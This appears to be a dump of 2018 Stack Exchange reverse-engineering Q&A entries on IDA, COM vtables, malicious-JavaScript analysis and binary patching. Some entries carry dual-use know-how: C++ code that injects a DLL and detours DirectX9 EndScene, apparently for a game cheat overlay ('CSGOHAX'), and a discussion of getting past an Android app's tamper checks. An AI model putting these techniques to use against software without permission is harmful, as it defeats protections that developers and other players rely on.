    I am analyzing a malicious javascript. The code is encoded and obfuscated in a way that I did not manage to even partially deobfuscate yet and it is filled with long strings. In order to simplify the task I put the code to JShint. According to the tool, there are 82 variables that are not used:\n\"JShint

    \n\n

    Given the context, is it safe to assume that the reason these variables exist is most likely to add to obfuscation but not to fulfill any operation? Would it be reasonable to delete declarations of these variables and have a shorter code to work with?

    \n", "Title": "Obfuscated code analysis - can unused variables be ignored?", "Tags": "|obfuscation|deobfuscation|javascript|", "Answer": "

    Often then unsued variables are unusued only until you make the first deobfuscation step.

    \n\n

    After first run, you could see that some code uses these variables, for example using an eval. This because the previous step of obfuscation make vars look like unusued, only because their use in the code is obfuscated on a (again) previous step.

    \n\n

    For example. You could use eval and base64 encoding to hide the use of a piece of code.

    \n\n

    In a situation like your I tend to remove apparently unused code using IDE tools, then, if the code is still working I can be sure I removed useless fog from the code.

    \n\n

    Person opinion: JsHint fall to detect used cars just when JavaScript coding is confused... An alert using window object to access a variable make JsHint blind. Is not a good help for this specific purpose.

    \n\n

    obviously you need to run every sort of sandboxing, sw and hw isolation and emulation when you try a malicious code .

    \n" }, { "Id": "19062", "CreationDate": "2018-08-14T15:05:07.393", "Body": "

    When I do dynamic reversing I saw usage with ObjectStublessClientXX in ole32.dll .

    \n\n

    What is that function? What does it do?

    \n\n

    Is there any way that it supposed to transfer message between 2 processes? I see that after those function called from 1.exe so 2.exe got a message

    \n", "Title": "What is ObjectStublessClientXX in ole32dll?", "Tags": "|ida|windows|dll|dynamic-analysis|", "Answer": "

    COM is very abstract idea in Object Oriented Programming (OOP). To understand this well, you need some in-depth knowledge of Inheritance in OOP, Virtual Method Table, COM in separate process and Data Marshaling with COM.

    \n

    Those subroutines are part of a COM Proxy/Stub DLL. Proxy DLL are used when the COM interfaces are defined/implemented in separate DLL files. Think these as a simple function call but with COM virtual tables. In case of dynamic linking, DLL has exported functions and EXE files call them. In case of proxy/stub COM, the underlying functions are defined in a separate DLL files. When an executable call any method the parameters are marshalled (i.e. packed/assembled) through Proxy DLL to the main DLL where all the real things happens. Proxy DLLs contain just the list of those methods, aka. Virtual Functions in Virtual Method Table (vtable or vtbl). So, the "ObjectStublessClient" are the virtual functions only. In simple C language, this can be compared as function pointers in a structure (with oversimplification).

    \n

    In IDA, go to View --> Open subviews --> Names or press Shift + F4 to open 'Names Window'.\nSearch for 'ProxyVtbl', you can find defined virtual tables. Here is an example of IOleCacheControl interface in Ole32.DLL file.

    \n
      \n
    • In IDA assembly view:
      • \n
    \n\n
    .rdata:00000001800CE9D0 ; $2F7D790A470334608EE0E1481017719B IOleCacheControlProxyVtbl\n.rdata:00000001800CE9D0 _IOleCacheControlProxyVtbl dq offset IOleCacheControl_ProxyInfo; header.piid\n.rdata:00000001800CE9D0                                         ; DATA XREF: .rdata:00000001800C9BF8\u2191o\n.rdata:00000001800CE9D0                 db 0D0h, 0AEh, 0Fh, 80h, 1, 3 dup(0); gap8\n.rdata:00000001800CE9D0                 dq offset IUnknown_QueryInterface_Proxy, offset IUnknown_AddRef_Proxy; Vtbl\n.rdata:00000001800CE9D0                 dq offset IUnknown_Release_Proxy, offset ObjectStublessClient3_0; Vtbl\n.rdata:00000001800CE9D0                 dq offset ObjectStublessClient4_0; Vtbl\n.rdata:00000001800CEA08                 align 10h\n
    \n
      \n
    • In oleidl.h file (C++ interface):
      • \n
    \n\n
    MIDL_INTERFACE("00000129-0000-0000-C000-000000000046")\nIOleCacheControl : public IUnknown\n{\npublic:\n    virtual HRESULT STDMETHODCALLTYPE OnRun( \n        LPDATAOBJECT pDataObject) = 0;\n    \n    virtual HRESULT STDMETHODCALLTYPE OnStop( void) = 0;\n    \n};\n
    \n
      \n
    • In simple C language:
      • \n
    \n\n
    GUID IID_IOleCacheControl = { 0x00000129, 0x0000, 0x0000, { 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46 };\n\ntypedef struct _IOleCacheControl IOleCacheControl, *PIOleCacheControl;\n\nstruct _IOleCacheControl {\n    \n    //0th IUnknown_QueryInterface_Proxy\n    HRESULT (__fastcall *QueryInterface )( \n        PIOleCacheControl* This,\n        GUID* riid, \n        PVOID* ppvObject\n        );\n    \n    //1st IUnknown_AddRef_Proxy\n    ULONG (__fastcall *AddRef )( \n        PIOleCacheControl* This\n        );\n    \n    //2nd IUnknown_Release_Proxy\n    ULONG (__fastcall *Release )( \n        PIOleCacheControl* This\n        );\n    \n    //3rd ObjectStublessClient3_0\n    HRESULT (__fastcall *OnRun )( \n        PIOleCacheControl* This,\n        IDataObject* pDataObject\n        );\n    \n    //4th ObjectStublessClient4_0\n    HRESULT (__fastcall *OnStop )( \n        PIOleCacheControl* This\n        );\n    \n};\n
    \n

    The first three functions (QueryInterface, AddRef, Release) are inherited from (i.e. copied from) IUnknown interface. Then other remaining virtual functions are named with their offsets. Hence ObjectStublessClient3_0 is the OnRun() and ObjectStublessClient4_0 is the OnStop() function pointers. I changed the calling conventions to __fastcall because Windows binary generally use that calling conventions.

    \n

    One can see a real example of this method in my repository GitHub: WslReverse where I show the hidden COM interface of LxssManager.DLL.

    \n

    Further Readings:

    \n\n\n" }, { "Id": "19063", "CreationDate": "2018-08-14T15:12:17.613", "Body": "

    I have a binary that uses a lot of COM interfaces. The COM dll's have a typelib resource included that I can extract and/or generate an .idl file (I'm using OleWoo tool).

    \n\n

    Is there a way to load the typelib or an .idl file into Ida Pro so that Ida will recognize the COM interface and show the methods rather than offset such as in this sample:

    \n\n
    *(void (__stdcall **)(LPVOID))(*(_DWORD *)ppv + 8))(ppv);\n
    \n", "Title": "Load .IDL / TypeLib into Ida Pro", "Tags": "|ida|com|", "Answer": "

    I was able to generate a header file using the midl compiler by exporting the idl file with the OLE/COM Viewer tool (oleview.exe) from the SDK.

    \n\n

    From oleview select File -> View TypeLib and then save it via File -> Save As (e.g. MyFile.idl)

    \n\n

    Then from a Visual Studio command prompt type:\nmidl /out c:\\temp /header MyFile.h MyFile.idl

    \n\n

    Then in Ida you can use File -> Load File -> Parse C Header File.\nIn Options -> Compiler Options -> Include Directories you can set the paths to the Windows SDK include directories (seperated by ;)

    \n" }, { "Id": "19066", "CreationDate": "2018-08-14T22:16:30.323", "Body": "

    I'm new in IDA Python, so the question is hard for me. I didn't find any solution in google, so I have to ask for the help there. During code analysis I found decryption function. There are about 1000 calls of this function with different arguments. The function takes one argument - encrypted string, which address is moved to eax before the calling.\nI'd like to write script for running the function for all encrypted strings. I find address of the function using idc.LocByName. Then I found all references to this function (using idautils.CodeRefsTo(addr, 1)). Now I to find the function's argument for each reference and call the function with this argument. \nCould you please advise the way I can do it?\nThanks.

    \n", "Title": "IDA Python call func from idb names with specific arguments", "Tags": "|idapython|", "Answer": "

    In general you have 3 possibilities:

    \n\n

    1 - Recover arguments statically and use AppCall either with IDC or IDAPython in debug session

    \n\n

    2 - Rewrite decryption function in python, recover arguments statically and run the recovered function on each occurrence.

    \n\n

    3 - Use something like PyEmu for running functions.

    \n\n

    Usually I find variant 2 easier then others.

    \n" }, { "Id": "19077", "CreationDate": "2018-08-16T03:46:21.367", "Body": "

    I'm trying to unpack an obb file used in an android game. From my initial google searches, it's my understanding that an obb can be basically any type of file. The only lead I have is the magic bytes at the start of the file spell out \"AP_Pack!\", but I couldn't find any format matching it.

    \n\n

    This is where I'm currently stumped so any next steps would be greatly appreciated.

    \n", "Title": "Determining file format of an OBB", "Tags": "|file-format|", "Answer": "

    Decompile the app and look for references to the magic signature. Unless it is obfuscated, it should not be too difficult to recover the format details from the code.

    \n\n

    P.S. this project seems to have an unpacker referencing the magic string.

    \n" }, { "Id": "19085", "CreationDate": "2018-08-17T10:42:04.877", "Body": "

    I am studying assembly and hooking.

    \n\n

    I know how to hook x86 assembly now.\nso if any thread goes to certain address which is overwritten with my code, it automatically returns to my function.\nI think this is normal hooking principle.\nhttps://www.apriorit.com/dev-blog/160-apihooks

    \n\n

    And now, I want to hook x86 registers or memory in windows 32bit, like almost debugger's breakpoints do.\nSo when some memory areas are accessed, automatically call my function in that process memory.\nTo be exact, I want to use my hooked function instead of breakpoint.\nAny advance will be appreciated!

    \n", "Title": "Is there any way to call function instead of breakpoint, when certain memory area is accessed or register value is matched?", "Tags": "|windows|assembly|function-hooking|", "Answer": "

    The only way this can be accomplished, in my opinion, is to override the Page Fault Handler. You cannot do this in user mode, however. The hooks you cite deal with user mode DLL entry points, which is easy to achieve. The paging mechanism is implemented in the kernel, at Ring 0, so basically you will need to write a driver which, in case of a Page Fault, checks if the address is in the range you want monitored and, if yes, calls your function; otherwise calls the default kernel routines. Quite tricky to do, especially on Windows (Linux is somewhat easier) and you risk in de-stabilizing the entire system.

    \n\n

    This is what kernel-mode debuggers such as SoftICE (https://en.wikipedia.org/wiki/SoftICE) or WinDbg (https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg--kernel-mode-) do.

    \n\n

    If you really want to go for it, a good starting point for information is here: https://stackoverflow.com/questions/18431261/how-does-x86-paging-work\nand of course https://docs.microsoft.com/en-us/windows-hardware/drivers/

    \n\n

    PS: No way to do it for registers

    \n" }, { "Id": "19093", "CreationDate": "2018-08-18T21:11:30.343", "Body": "

    I'm trying to bypass the security that checks if a file is modified on an android app and will crash without error if modified. It have around 10 fake crashes. I have bypassed some of them in smali and libs but it still keep crashing and Zygote returns different numbers like 2, 4, 15, 25, etc. There is no explanation or details about \"Process exited cleanly\"

    \n\n

    Can anyone explain what that \"Process exited cleanly\" means and what c++ codes could be used to fake crash than getpid+kill, exit, abort?

    \n\n

    Here is what it says in logcat:

    \n\n
    08-18 23:02:10.751 I/ActivityManager(412): Process com.xxx.xxx (pid 17716) has died\n08-18 23:02:10.768 I/Zygote  (160): Process 17716 exited cleanly (15)\n
    \n", "Title": "What does \"Process exited cleanly (number)\" mean?", "Tags": "|c++|android|", "Answer": "

    Exited cleanly means that the process was not terminated by a signal, but called the exit system call. This happens usually due to a call to exit, _exit or returning from main. The number in parenthesis is the exit code, which is the parameter passed to exit or the value returned from main.

    \n\n

    If you are lucky, the number is unique to the check that failed. If you are unlucky, there is code to terminate the process on tampering which directly calls the exit system call without setting the register used for the exit code, so the number is mostly \"random junk\".

    \n" }, { "Id": "19094", "CreationDate": "2018-08-18T21:40:35.403", "Body": "

    I posted a thread on StackOverflow a few days ago, and it's got little attention, so i though it's possible this might be a better place for it.

    \n\n

    As the title says, i'm trying to hook/detour DirectX9 functions so i can render some information on screen.

    \n\n

    I was able to detour regular functions in my own application by finding the offset address in IDA, i believe i understand what hooking/detouring is and how it works, at least to a reasonable extent.

    \n\n

    The problem is, i'm not sure how to even find the EndScene function in IDA, and any attempt I've made at creating a dummy device and getting a V-Table pointer for the function have just not worked.

    \n\n

    Here's my code, someone please point out what i'm doing wrong here.\nI'd like to fix this and learn what I've done wrong so i can avoid making the same mistake in the future.

    \n\n
    // dllmain.cpp : Defines the entry point for the DLL application.\n#include \"stdafx.h\"\n#include <iostream>\n#include <Windows.h>\n#include <intrin.h>  \n#include <tchar.h>\n#include <tlhelp32.h>\n#include <Psapi.h>\n#include <winsock2.h>\n#include <vector>\n#include <ws2tcpip.h>\n#pragma comment( lib, \"Ws2_32.lib\" )\n#include <d3d9.h>\n#pragma comment(lib, \"d3d9.lib\")\n#include <d3dx9.h>\n#pragma comment(lib, \"d3dx9.lib\")\n#include <detours.h>\n#pragma comment(lib, \"detours.lib\")\n\nusing namespace std;\n\nD3DCOLOR RED = D3DCOLOR_ARGB(255, 255, 0, 0);\n\ntypedef HRESULT(__stdcall* EndScene)(IDirect3DDevice9*);\nstatic EndScene EndScene_orig = NULL;\n\nHRESULT __stdcall EndScene_hook(IDirect3DDevice9* pDevice)\n{\n//  D3DRECT rec = { 100,100,200,200 };\n//  pDevice->Clear(1, &rec, D3DCLEAR_TARGET, RED, 0, 0);\n//  MessageBoxA(0, \"In EndScene\", \"\", 0); //    <<<<----- This function is called over and over when not commented.\n    return EndScene_orig(pDevice);\n}\n\nvoid WINAPI InitHook()\n{\n\n    HWND game_window = FindWindow(NULL, _T(\"Skinned Mesh\"));\n\n    auto d3dpp = D3DPRESENT_PARAMETERS{};\n    auto d3d = Direct3DCreate9(D3D_SDK_VERSION);\n    if (d3d)\n    {\n        d3dpp.BackBufferCount = 1;\n        d3dpp.MultiSampleType = D3DMULTISAMPLE_NONE;\n        d3dpp.SwapEffect = D3DSWAPEFFECT_DISCARD;\n        d3dpp.hDeviceWindow = game_window;\n        d3dpp.FullScreen_RefreshRateInHz = D3DPRESENT_RATE_DEFAULT;\n        d3dpp.PresentationInterval = D3DPRESENT_INTERVAL_IMMEDIATE;\n        d3dpp.BackBufferFormat = D3DFMT_R5G6B5;\n        d3dpp.Windowed = TRUE;\n        IDirect3DDevice9* Device{};\n        if (SUCCEEDED(d3d->CreateDevice(D3DADAPTER_DEFAULT, D3DDEVTYPE_HAL, game_window, D3DCREATE_HARDWARE_VERTEXPROCESSING, &d3dpp, &Device)))\n        {\n//          MessageBoxA(0, \"We made it here...\", \"\", 0);\n\n            DWORD** pVTable = *reinterpret_cast<DWORD***>(Device);\n\n            DetourTransactionBegin();\n            DetourUpdateThread(GetCurrentThread());\n\n            EndScene_orig = (EndScene)pVTable[42];\n            DetourAttach(&(LPVOID&)pVTable[42], EndScene_hook);\n\n            if (DetourTransactionCommit() == NO_ERROR)\n                cout << \"Detoured successfully\" << endl;\n        }\n    }\n\n}\n\n\nvoid SetupConsole()\n{\n    AllocConsole();\n    freopen(\"CONOUT$\", \"wb\", stdout);\n    freopen(\"CONOUT$\", \"wb\", stderr);\n    freopen(\"CONIN$\", \"rb\", stdin);\n    SetConsoleTitle(\"CSGOHAX\");\n}\n\n\nBOOL APIENTRY DllMain(HMODULE hModule,\n    DWORD  ul_reason_for_call,\n    LPVOID lpReserved\n)\n{\n    switch (ul_reason_for_call)\n    {\n    case DLL_PROCESS_ATTACH:\n        SetupConsole();\n        DisableThreadLibraryCalls(hModule);\n        CreateThread(0, 0, (LPTHREAD_START_ROUTINE)InitHook, 0, 0, NULL);\n        break;\n    case DLL_THREAD_ATTACH:\n    case DLL_THREAD_DETACH:\n    case DLL_PROCESS_DETACH:\n        break;\n    }\n    return TRUE;\n}\n
    \n", "Title": "Trying to hook DirectX9 using C++ - Keeps crashing", "Tags": "|debugging|c++|function-hooking|", "Answer": "

    I figured it out, reversed the binary in IDA, found the module address and the EndScene function aswell as its address, calculated the offset. Then used ollydbg and found the function again, made a signature from it, now i can find it dynamically using a signature scanning function.

    \n\n

    So i can get the function address with this signature.

    \n\n
    DWORD dwEndScene = FindPattern(\"d3d9.dll\",\n    \"\\x6A\\x18\\xB8\\x00\\x00\\x00\\x00\\xE8\\x00\\x00\\x00\\x00\\x8B\\x7D\\x08\\x8B\\xDF\\x8D\\x47\\x04\\xF7\\xDB\\x1B\\xDB\\x23\\xD8\\x89\\x5D\\xE0\\x33\\xF6\\x89\\x75\\xE4\\x39\\x73\\x18\\x75\\x73\",\n    \"xxx????x????xxxxxxxxxxxxxxxxxxxxxxxxxxx\");\n
    \n\n

    Then i just detour the function

    \n\n
    DetourTransactionBegin();\nDetourUpdateThread(GetCurrentThread());\nEndScene_orig = (oEndScene)(dwEndScene);\nDetourAttach(&(LPVOID&)EndScene_orig, EndScene_hook);\nif (DetourTransactionCommit() == NO_ERROR)\n    cout << \"Detoured successfully\" << endl;\n
    \n\n

    This is much easier than trying to find the function in the V-Table using a dummy device as i was before.

    \n" }, { "Id": "19096", "CreationDate": "2018-08-19T10:09:29.033", "Body": "

    I have very basic application which is console app dispaying message box. \nIn Visual Studio I change following options:

    \n\n
    - C/C++ -> SecurityCheck -> Disable Security Check (/GS-)\n- Linker -> Advanced -> Entry Point -> main\n- Linker -> Input -> -> Ignore All Default Libraries -> Yes (/NODEFAULTLIB)\n
    \n\n

    to remove from .exe all dependenies like vcruntime140.dll, api-ms-win-crt-locale.dll, etc.

    \n\n

    Now, I have only one dependency in import table, which is user32.dll (required by messagebox).

    \n\n

    Why kernel32.dll is missing?\nI thought that kernel32.dll is required for all .exe applications.

    \n\n

    Even the kernel32.dll is missing, the app runs correctly.

    \n", "Title": "Missing kernel32.dll in import table", "Tags": "|windows|winapi|", "Answer": "

    If you are not using any APIs from kernel32 it will not be added to the import table, simple as that. You were misinformed about kernel32 being required for all applications. It is even possible to have an application without import table.

    \n\n

    With regards to the vcruntime140 etc, you can just target Windows XP and use the /MP option to get rid of those. The api-ms*.dll are Windows Vista+ ways of importing things like kernel32.dll with shims, so if you don\u2019t care about XP support those are not an issue.

    \n" }, { "Id": "19110", "CreationDate": "2018-08-20T16:21:05.147", "Body": "

    I want to protect the certain memory area, like 0x12345678 ~ 0x12345679.\nso if another thread accesses to that area, I want to generate exception.

    \n\n

    To solve my problem, I've found and used VirtualProtectEx win32 api.\nhttps://msdn.microsoft.com/en-us/library/windows/desktop/aa366899(v=vs.85).aspx

    \n\n

    And my code looks as follows.

    \n\n
    ...\nDWORD dwA = 0xFFFFFFFF;\nDWORD dwC = 0xCCCCCCCC;\nint main()\n{\n    DWORD dwProtect = PAGE_READONLY;\n\n    HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());\n    VirtualProtectEx((HANDLE)handle, (PVOID)&dwA, 4, dwProtect, &dwProtect);\n    DWORD dwB = dwA;\n    dwC = 0x00000000;\n    dwA = 0x00000000;\n...\n
    \n\n

    Here, I set read-only protection to dwA's memory.\nBut at dwC = 0x00000000, I got exception.\nI think it's because VirtualProtectEx protects the page, not the certain memory.

    \n\n

    But I just want to protect only dwA's memory.

    \n\n

    Can anybody please help me by leading me to correct direction?

    \n", "Title": "How to protect memory area, not segment or page!", "Tags": "|windows|c++|c|virtual-memory|", "Answer": "

    The protections are supported only on page granularity by the CPU and you cannot change that. What you can do is in your exception handler check which address generated the fault, and if it's not the variable you want to \"protect\", restore permissions to the original value, single-step to allow the write be performed, then disable writes again. This is complicated and pretty slow so should be used only when necessary.

    \n" }, { "Id": "19114", "CreationDate": "2018-08-20T20:04:01.683", "Body": "

    I have a so. library which I know the \"C\" interface but I don't have access to the source code only the disassembled code which is hard to understand at least for me.\nI know the input parameters (including the expected ranges of the parameters) and I get the corresponding result of the formula.\nI wrote a small program to test every combination of the input parameters and record the results.

    \n\n

    For example I recorded these pairs (all possible combinations are over 430.000):

    \n\n
    param1;param2;result\n26.4;63.6;50.490\n32.0;107.7;48.552\n70.2;65.4;21.277\n79.1;71.4;14.923\n18.8;48.0;55.703\n65.4;19.9;24.704\n58.9;85.6;29.345\n48.0;50.6;37.128\n17.3;19.7;56.732\n72.6;40.1;19.564\n59.2;42.1;29.131\n43.1;33.7;40.627\n47.2;52.1;37.699\n33.6;55.2;47.410\n31.7;49.3;48.766\n22.5;19.4;53.165\n33.7;66.0;47.338\n49.2;82.4;36.271\n31.3;91.3;49.052\n42.2;43.2;41.269\n65.3;92.8;24.776\n13.2;24.5;59.545\n13.6;57.0;59.270\n59.5;48.6;28.917\n61.3;27.1;27.632\n
    \n\n

    I already tried to train a neural network + back propagation with k=5 sigmoid activation neuron and 1 hidden layer with a learn factor of gamma=0.1 and 10000 steps but I get only poor results.\nIt is possible to train a neural network to generate nearly the same results (for example with an error of ~0.001) as the so. library function?\nIs my neural network wrong? Is there a better method?

    \n\n

    Any idea or help is welcome!

    \n\n

    edit:

    \n\n

    thanks @Rok Tav\u010dar I added an image of the data points as a 3d plot.\n\"enter\nIt looks like two linear 2d surfaces but at some point it jumps a bit.\nI guess I can divide it as two linear functions. Now, I need to figure out how I do a 2d linear regression. If somebody could give me hint that would be grateful.

    \n\n

    Nevertheless, the .so library has more complex functions, which dimensional is higher (up to 6). So I can't plot it anymore. I need a more general approach but I will also give it a try to understand the disassembled arm code as @0xC0000022L suggested.

    \n", "Title": "Is it possible to get the formula out of a blackbox using neural network", "Tags": "|functions|", "Answer": "

    thanks @all Finally, I was able to understand the disassembled code.

    \n\n

    The function is as follow (I used IDA free for that):

    \n\n
    static double test_function(double xmm0) {\n    double xmm1 = 100.0;\n    xmm1 = xmm1 - xmm0;\n    xmm1 = xmm1 * 0.7;\n\n    if (xmm1 < 50) {\n        xmm1 = xmm1 * 1.02;\n    } else {\n        xmm1 = xmm1 * 0.98;\n    }\n\n   return xmm1;\n}\n
    \n\n

    My first reverse engineered snippet from a disassembled code. Yay! :)

    \n\n

    I will try to reverse engineer a more complex function. Maybe I need your help again.

    \n" }, { "Id": "19115", "CreationDate": "2018-08-20T20:33:15.133", "Body": "

    so I have the .idb file of an executeable I want to modify.

    \n\n

    In the IDB file, I found this code

    \n\n

    \"enter

    \n\n

    And I basically want to change 4111006 to 1006 in that IF condition.\nhowever, when I press TAB to go to pseudocode, this is what it shows me

    \n\n

    \"enter

    \n\n

    (marked in yellow)

    \n\n

    So it shows 4121000 and 4111001 in these segments, but it doesn't show the rest and the one I want to change (4111006), preventing me from finding it in ollydbg / a hex editor and changing it.

    \n\n

    Is it possible to find 4111006 and change it to a different integer value? If so, how can I do that? Thank you.

    \n", "Title": "Change value of an IF condition found in IDA", "Tags": "|ida|assembly|ollydbg|decompilation|executable|", "Answer": "

    The way how those IFs are constructed in the assembly is a bit different than what you see in high-level overview in IDA code.

    \n\n

    Apart from the first one, ifs are represented with subtraction (sub & dec) and jz.

    \n\n

    This code is an alternative of conditions:

    \n\n
    if (Args == 4121000 || Args == 4111001)\n    goto LABEL_297\n
    \n\n

    and is represented in asm with this code:

    \n\n
    6DCC53: mov ecx, 4121000\n6DCC55: cmp eax, ecx\n6DCC57: jg short loc_6DCC93\n6DCC5D: jz loc_6DCBB6\n6DCC62: sub eax, 4111001\n6DCC68: jz loc_6DCBB6\n
    \n\n

    because in the first 4 lines (excluding 3rd) you have the first part of the if (standard cmp + jz) and then later a value of 4111001 is subtracted from eax. If it results in zero then we know that the value was equal to it and we jump to the same location. So IDA identifies this as an alternative of two values: 4121000, 4111001.

    \n\n

    The following ifs are represented with this:

    \n\n
    dec eax\njz loc_6DCXXX\n
    \n\n

    Remember that after the line 6DCC62 the value in eax we compare with is already -4111001, so if we subtract one more time and if we get zero, we know that the initial value was 4111002. This is why IDA represents this as:

    \n\n
    if (Args == 4111002)\n    goto LABEL_346\n
    \n\n

    The next branches are the same. So you if want to modify the last one, you would have to modify the line that IDA correctly pointed you to + the one before. So instead of having there the same pattern as for all the other ifs, you need to write:

    \n\n
    cmp ecx, 1006\njz 6DCD28\n
    \n\n

    and assemble such opcodes.

    \n" }, { "Id": "19119", "CreationDate": "2018-08-21T07:38:16.753", "Body": "

    Using IDA PRO, after making a few patched, can I run the patched program in the debugger?\nWhat I have been doing so far is:\n1. Edit > Patch Program > Apply patch to input file\u2026\n2. Save in a specific location\n3. Move to windows location under /programs instead of the original file\n4. Reload the patched file in IDA

    \n\n

    This overwrites the original file. Mostly I need to put it in another location since the original may be under windows folder.\nIn addition if forces my to reopen IDA and load the patched file and since this is a new file I lose all my work.

    \n\n

    Is there a way, like in Oly, to simple run the patched file?

    \n", "Title": "IDA PRO run patched program from debugger without creating new exe", "Tags": "|ida|", "Answer": "

    The simplest solution is to use DebugAutoPatch plugin. To install, download DebugAutoPatch.py file to IDA plugins directory. Its features:

    \n
      \n

    • No need to modify any binary files to apply patches!

      \n
      • \n

    • Automatically synchronizes the existing "Patched bytes" database in\nIDA with any launched debug sessions.

      \n
      • \n

    • All patches stored in the "Patched bytes" database are applied to the\ndebug session memory at "process start", before the main entry point.

      \n
      • \n

    • Debug hooks automatically suspend process, apply patches, and resume\nprocess. The process is seamless and automatic to the user.

      \n
      • \n

    • No extra breakpoints are added and no existing breakpoints are\nmodified. The ability to disable automatic patching (and thus revert\nthe binary to it's "original" state).

      \n
      • \n

    • These options are available in the existing "Edit > Patch program"\nmenu.

      \n
      • \n
    \n" }, { "Id": "19125", "CreationDate": "2018-08-22T00:57:56.430", "Body": "

    I've been trying for a while now to get my head around V-Tables, V-Table patching, etc, i understand what V-Tables are and why they are used (At least i think i do).

    \n\n

    But how do i find them in IDA? I'm using IDA Pro 7.0, and i created a test program with two classes.

    \n\n
    class ClassA\n{\npublic:\n    ClassA();\n    ~ClassA();\n    virtual void Test();\n};\n
    \n\n

    And..

    \n\n
    class ClassB : public ClassA\n{\npublic:\n    ClassB();\n    ~ClassB();\n    void Test() override;\n};\n
    \n\n

    The definition for the Test function in both cases is a simple cout to the console.

    \n\n

    And in main.cpp

    \n\n
    int main()\n{\n    ClassB* BClass = new ClassB();\n    while (1)\n    {\n        BClass->Test();\n        Sleep(1000);\n    }\n    delete BClass;\n    return 0;\n}\n
    \n\n

    I was trying to follow this explanation, but it seems as if the data isn't structured the same way in his version of IDA.

    \n\n

    After clicking on the class in the Class Informer window, i'm taken to IDA View-A, and this is what i see.

    \n\n

    \"enter

    \n\n

    At this point i'm a bit lost, as i'm not really sure how to find or follow pointers in IDA.

    \n", "Title": "How to find V-Table in IDA? (Using class informer)", "Tags": "|ida|ida-plugin|pointer|vtables|", "Answer": "

    What you're looking it is actually a VTable. As you know, a VTable is a table of function pointers and as you can see, at address 0x19B64 you actually see a single function address (this looks like dd offset sub_XXXX). That is actually a virtual function table of a size of one. Since you only have one virtual function in your demo class. That offset points to one implementation of Test. Double-clicking the function name (which defaults to the function's address prefixed with sub_ to indicate it is a subroutine) will set the cursor it it's address (and make it visible).

    \n\n

    Somewhat below that, at address 0x19B8C, you can see the second class's vtable, as you have two classes with differing functions. That offset is the second implementation of Test

    \n" }, { "Id": "19127", "CreationDate": "2018-08-22T03:03:53.757", "Body": "

    What are the first 16 bytes in the .rodata section?

    \n\n

    For example, I have the following code:

    \n\n
    #include <cstdio>\n\nvoid myprintf(const char* ptr) {\n        printf(\"%p\\n\", ptr);\n}\n\nint main() {\n        myprintf(\"hello world\");\n        myprintf(\"\\0\\0\");\n        myprintf(\"ab\\0cde\");\n        static char hi[] = \"hi\";\n        myprintf(hi);\n}\n
    \n\n

    I compiled:

    \n\n
    $ g++ -Wall test_elf.cpp -o test_elf -O3 -std=c++17\n
    \n\n

    And then

    \n\n
    $ readelf -W -p .rodata test_elf \n\nString dump of section '.rodata':\n  [    10]  %p^J\n  [    14]  hello world\n  [    23]  ab\n  [    26]  cde\n
    \n\n

    As you can see, there are 16 bytes before the first constant string literal. I use elf.h to parse, and I also see there are 16 bytes before the first constant string literal. 14 bytes of them are just zero. 1 non zero byte is 1. Another is 2.

    \n", "Title": "What are the first 16 bytes in .rodata section?", "Tags": "|c++|elf|compilers|", "Answer": "

    Trying to provide a more general answer that would hopefully complement this answer linked in the comments.

    \n\n

    To those who are unsure, the .rodata section in an executable contains all read-only variables and constants with a global scope (i.e. will be defined for the entire duration of the program's execution) although the lines are becoming a little blurry and there are exceptions to the rules which are not actually enforced, the .rodata section usually hold all global and static variables that are read only. This is obviously the reason the strings you defined are there.

    \n\n

    Although your code does not directly define any constructs except those few string literals, the .rodata section will hold all data deemed globally scoped and read-only by the compiler and linker, regardless of whether it was defined in your code or an additional variable/object your program uses explicitly or implicitly.

    \n\n

    Now to your question; I mentioned additional objects can be explicitly and implicitly defined in your code, without you actually writing them. One explicit example is all the code #includeed in your program (cstdio in this case). Code implicitly included in your program is, for example, the code GCC adds that wraps and calls your defined main function and handles different operating system interfaces (setting up functions related stdin, stderr, stdout) as well as set up and teardown of program objects (that code is where globally scoped objects are initialized by calling their constructor in C++).

    \n\n

    Although this is explained in depth in the linked answer, the actual values (1 and 2) appear to be for a constant defined by GCC's init.c:

    \n\n
    const int _IO_stdin_used = 0x20001;\n
    \n\n

    That file is part of GCC's initialization code mentioned above, and is used to control the version of a input/output library GCC implements input/output in programs with.

    \n\n

    it's worth noting that an hex-dump will help increase confidence in whether that is indeed the reason for the additional bytes you're seeing, as well as following the compilation and linking process, of course

    \n\n

    A difference worth mentioning between your example and the one in the SO question if the 14 zero bytes, which are of course padding to a boundary of 16 bytes, which is something compilers often do to optimize for execution time. Replacing the -O3 with -Os (optimize for size) will probably drop the 14 null bytes, although that is not guaranteed and may depend on the version of GCC you're using.

    \n" }, { "Id": "19129", "CreationDate": "2018-08-22T13:18:34.090", "Body": "

    I am analyzing a malicious JS file, which is obfuscated in a way that I could not de-obfuscate. When I executed it in a virtual machine and spectated process changes, I noticed that a new executable was created, which when acquired, turned out to be written in Visual Basic 6.

    \n\n

    I know that JS droppers often are written to download the secondary malware but in this case, the exe is created without any network communication. Does that mean that the VB6 exe was packed in the original JS file? On a high level, how can this be implemented?

    \n", "Title": "How can a Javascript file drop .exe written in Visual Basic without network communication?", "Tags": "|unpacking|javascript|visual-basic|", "Answer": "

    The executable is most likely embedded inside the javascript file itself, or of any accompanying files (say, an .html file that is downloaded with the javascript).

    \n\n

    As Memo mentioned, the embedded executable can be encoded, obfuscated or even encrypted within the javascript file, where the javascript file will be required to decode, deobfuscate or decrypt it before writing it to disk and executing it.

    \n" }, { "Id": "19132", "CreationDate": "2018-08-22T18:35:57.107", "Body": "

    I have a long list of mappings from IDA function names (sub_??????) to known function prototypes. The prototype is complete, I mean it contains the return type, the name as in the code and the argument types and names.

    \n\n

    My question is, how can I batch rename and overwrite all the data about the functions with this prototype information using an IDAPython script?

    \n", "Title": "Batch rename functions knowing their prototypes in IDA Pro", "Tags": "|ida|idapython|functions|", "Answer": "

    use idc.SetType to change type

    \n

    Example

    \n
